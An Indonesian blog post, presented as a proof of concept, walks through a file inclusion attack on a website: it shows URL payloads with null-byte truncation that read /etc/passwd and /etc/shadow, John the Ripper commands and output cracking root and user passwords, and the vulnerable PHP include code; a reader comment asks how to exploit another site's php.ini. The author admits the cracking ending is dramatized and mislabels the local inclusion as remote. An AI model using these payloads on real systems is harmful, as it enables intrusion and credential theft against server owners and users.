Proof of Concept: Remote File Inclusion

Remote file inclusion (RFI) adalah metode yang sering dimanfaatkan hacker untuk mengeksploitasi sistem. RFI sangat populer digunakan untuk penetrasi ke dalam website target selain metode injeksi SQL. Inti dari remote file inclusion adalah memanfaatkan file yang terdapat di target atau internet.

Sebagai contoh terdapat sebuah website sederhana. Halamannya cuma satu. Tetapi satu halaman itu dapat menginclude halaman lain. Jika ingin menampilkan halaman profil.php ada pada alamat http://[target]/?page=profil. Untuk menampilkan halaman berita http://[target]/?page=berita dsb. URL vulnerablenya yaitu http://[target]/?page=[RFI]. [RFI] bisa diganti dengan lokasi file apa saja pada server.. semuanya kreatifitas anda =P.

Halaman http://[target]/?page=jokes

Kemudian saya coba mengganti value “page=” dengan /etc/passwd terlihat sekarang halamannya blank. Coba lagi sedikit teknik, dengan memasukkan value: /etc/passwd%00. Ternyata muncullah isi file /etc/passwd dari target… File ‘passwd’ adalah file yang berisi list user server tersebut, yang tentu saja servernya pasti turunan UNIX (may be Linux hare gene sehh.. hahah). Iseng-iseng coba /etc/shadow%00 ternyata muncul juga file /etc/shadow target.. Wah ini sih ketiban duren runtuh namanya.. hahah..

http://[target]/?page=/etc/passwd%00

Isi File /etc/passwd
Isi File /etc/passwd

Sedangkan dibawah ini isi file shadow…

 

 

http://[target]/?page=/etc/shadow%00

Isi File /etc/shadow
Isi File /etc/shadow

Langkah terakhir.. saya coba pakai tools JTR (John the Ripper) untuk crack password user. Namanya juga cerita di blog, biar rame jadi ending ceritanya dibuat sukses nih hahaha.. Password user tertebak oleh JTR. PWNED!

inan@eniac:/home/inan/john-1.7.6/run# ./unshadow passwd shadow > crackit
inan@eniac:/home/inan/john-1.7.6/run# ./john crackit
Loaded 2 password hashes with 2 different salts (FreeBSD MD5 [32/64 X2])
secret123 (root)
abacus (bill)
guesses: 1 time: 0:00:00:47 (3) c/s: 6687 trying: ca1999 - ca1990

Kenapa bisa terjadi gerangan? Wogh.. ternyata ini semua berawal dari website-nya. Mari kita bahas satu per satu… Website ini secara garis besar memiliki script PHP seperti ini:

<?php
$page=$_GET["page"];
if($page==""){
include "home.php";
}
include $page.".php";
?>

Dari script di atas dapat disimpulkan bahwa variable $page akan selalu mengambil nilai dari URL yang ber-parameter “page” dari URL. Jadi kalau URL nya adalah namafile.php?page=prikitiw maka $page akan berisi nilai “prikitiw” dan ditambahkan ekstensi “.php” kemudian file prikitiw.php diincludekan di halaman namafile.php. Kalau tidak ada nilai pada $page, website otomatis akan menampilkan file home.php.

Nah sekarang jika kita memasukkan “/etc/passwd” di bagian “page=” pada URL, berarti yang diincludekan di halaman jadi /etc/passwd.php. Padahal bukan itu yang kita inginkan.. (yang kita inginkan adalah file /etc/passwd). Maka untuk mendapatkan /etc/passwd di parameter page diisikan nilai /etc/passwd%00 (ditambahkan %00) agar tidak mengikutsertakan ekstensi “.php”.

Kesimpulannya, website target kita ini menggunakan metode include file untuk menampilkan halaman-halaman websitenya. Dan metode itu bisa kita eksploitasi untuk menginclude file-file pada target yang critical, seperti file passwd, file-file konfigurasi, dll.

3 thoughts on “Proof of Concept: Remote File Inclusion

  1. admin saya bsa mendownload php.ini sebuah situs. saya buka php.ini nya bentuk nya gini

    magic_quotes_gpc = Off;
    register_globals = Off;
    default_charset = UTF-8;
    memory_limit = 64M;
    max_execution_time = 18000;
    upload_max_filesize = 999M;
    safe_mode = Off;
    mysql.connect_timeout = 20;
    session.use_cookies = On;
    session.use_trans_sid = Off;
    session.gc_maxlifetime = 12000000;
    allow_url_fopen = on;

    cara exploit nya gmana ya ?
    makasih

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.